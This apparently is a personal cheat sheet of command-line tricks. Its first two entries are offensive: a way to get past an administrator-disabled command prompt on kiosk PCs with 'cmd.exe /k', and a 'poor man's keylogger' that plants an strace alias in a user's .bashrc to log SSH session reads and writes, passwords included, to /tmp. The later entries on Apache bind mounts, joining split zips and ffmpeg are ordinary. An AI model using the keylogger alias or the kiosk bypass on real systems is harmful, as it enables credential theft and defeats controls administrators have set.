Bypass a disabled command prompt with /k
# Win+R (To bring up Run Box)
cmd.exe /k "whoami"
Description:'This command prompt has been disabled by your administrator...' Can usually be seen in environments such as kiosks PCs, a quick hacky work around is to use /k via the windows run box. This will carry out the command and then show the restriction message, allowing for command execution.
Poor mans keylogger for ssh client but it works. Add to the users .bashrc
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
remember to source the .bashrc
source ~/.bashrc
Apache map external drive to webroot
Create a directory on the external HDD, assuming it is mounted under the /media directory, like so:
sudo mkdir /media/web_files
Change the ownership of this directory and all the files under it to be owned by the Apache user www-data like so:
sudo chown -R www-data:www-data /media/web_files/
Create a directory under the web root directory ie /var/www/html/ like so:
sudo mkdir /var/www/html/external_files
Bind the /media/web_files/ directory to the /var/www/html/external_files/ directory like so:
sudo mount --bind /media/web_files/ /var/www/html/external_files/
All files on the external HDD under the /media/web_files/ directory will be available for Apache under the /var/www/html/external_files/ directory and you can link to them in your web page that resides in /var/www/html/ like so:
<a href="external_files/file1.mp4">file1</a>
Unzip a chunked archive
you will see files ending in .001, .002 etc etc
You will need to join them first. You may use the common linux app, cat as in the example below:
cat test.zip* > ~/test.zip
This will concatenate all of your test.zip.001, test.zip.002, etc files into one larger, test.zip file. Once you have that single file, you may run unzip test.zip
ffmpeg -i input.mkv -codec copy output.mp4
